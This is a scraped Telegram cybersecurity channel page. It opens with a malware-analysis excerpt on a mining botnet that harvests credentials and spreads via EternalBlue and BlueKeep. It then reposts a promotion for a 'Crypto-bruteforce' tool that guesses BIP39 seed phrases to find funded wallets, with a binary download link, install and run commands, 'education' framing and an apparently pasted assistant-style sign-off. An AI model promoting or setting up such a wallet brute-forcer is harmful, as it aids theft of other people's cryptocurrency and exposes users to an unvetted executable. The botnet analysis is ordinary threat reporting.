UNDERCODE COMMUNITY
2.69K subscribers
1.24K photos
31 videos
2.65K files
80.9K links
🦑 Undercode Cyber World!
@UndercodeCommunity


1️⃣ World first platform which Collect & Analyzes every New hacking method.
+ AI Pratice
@Undercode_Testing

2️⃣ Cyber & Tech NEWS:
@Undercode_News

3️⃣ CVE @Daily_CVE

Web & Services:
Undercode.help
Download Telegram
SearchIndexer.exe:

SearchIndexer.exe is an open source Monero mining software (XMRig miner). It is executed with the content from “desktop.dat” file as a parameter, which contains the mining server and the username for the mining server:

prometei-blog-image-8

Content of Desktop.dat

Following the investigation, it appears that the user is “banned due to reports of botnet mining” from around March 2021, and it’s very likely that the attackers have changed the user already:
Netwalker.7z

The Netwalker.7z archive downloaded from the C2 178.21.164[.]68 is password protected, using the password “horhor123”. The content of the archive is saved under C:\Windows\dell, together with the other components of the bot. The archive contains the following files: Nethelper2.exe, Nethelper4.exe, Windrlver.exe, a few DLLs,a copy of RdpcIip.exe and a few DLLs used by the bot components
RdpcIip.exe:

RdcIip.exe (with a capital “I” instead of a lowercase “L”) is both downloaded directly by sqhost.exe and is also contained in the Netwalker.7z archive". It is a key component of the malware. It has huge (trust us, huge) functionality with different branches with the main purpose being to interact with other components of the malware and make them work all together.

RdpcIip is responsible for some of the most important functions of the malware - harvesting credentials (using another component called Miwalk.exe) and spreading across the network using the stolen credentials as well as using the SMB exploit EternalBlue and the RDP exploit BlueKeep.
Forwarded from UNDERCODE TESTING
🦑Crypto-bruteforce:

Overview of Features:
1. Mnemonic Generation and Verification:
- Generates random BIP39 mnemonic phrases.
- Verifies mnemonics for Ethereum, BNB, and Dogecoin wallets.

2. Standalone Execution:
- Comes with precompiled binaries for direct use without needing Python installed.
- Binaries are available for download in its GitHub releases.

3. Automatic Setup:
- Automatically installs Python and dependencies (Cryptofuzz, Colorthon, Requests) if missing.
- Configures the environment for script execution.

4. Open Source:
- Fully open-source and accessible via GitHub.

---

### Installation & Usage:

#### 1. Standalone Binary:
- Download the binary file:
[DumperMnemonic.zip](https://github.com/welugroup/cryptocurency_catcher/releases/download/t/DumperMnemonic.zip)
- Extract and run the program without needing Python installed.

#### 2. Run with Git and Python:
- Clone the repository:
     git clone https://github.com/welugroup/cryptocurency_catcher
cd cryptocurency_catcher
python DumperMnemonic.py


#### 3. Install Python Libraries:
If you prefer manual installation:
   pip install cryptofuzz
pip install colorthon
pip install requests
pip install requests-random-user-agent

Or install from the requirements file:
   pip install -r requirements.txt


#### 4. Running the Script:
- After dependencies are set:
     python DumperMnemonic.py


---

### Potential Uses:
1. Crypto Wallet Testing:
Generate and test mnemonic phrases for various blockchain networks.

2. Education and Learning:
Useful for understanding mnemonic creation, address derivation, and seed phrase management.

3. Exploration of Mnemonic Systems:
Analyze the security and randomness of generated mnemonics.

---

### GitHub Link:
Access the tool and documentation here:
[Dumper Mnemonic Repository](https://github.com/welugroup/cryptocurency_catcher)

Let me know if you'd like further assistance with setup or usage!
Forwarded from UNDERCODE NEWS (Copyright & Fact Checker)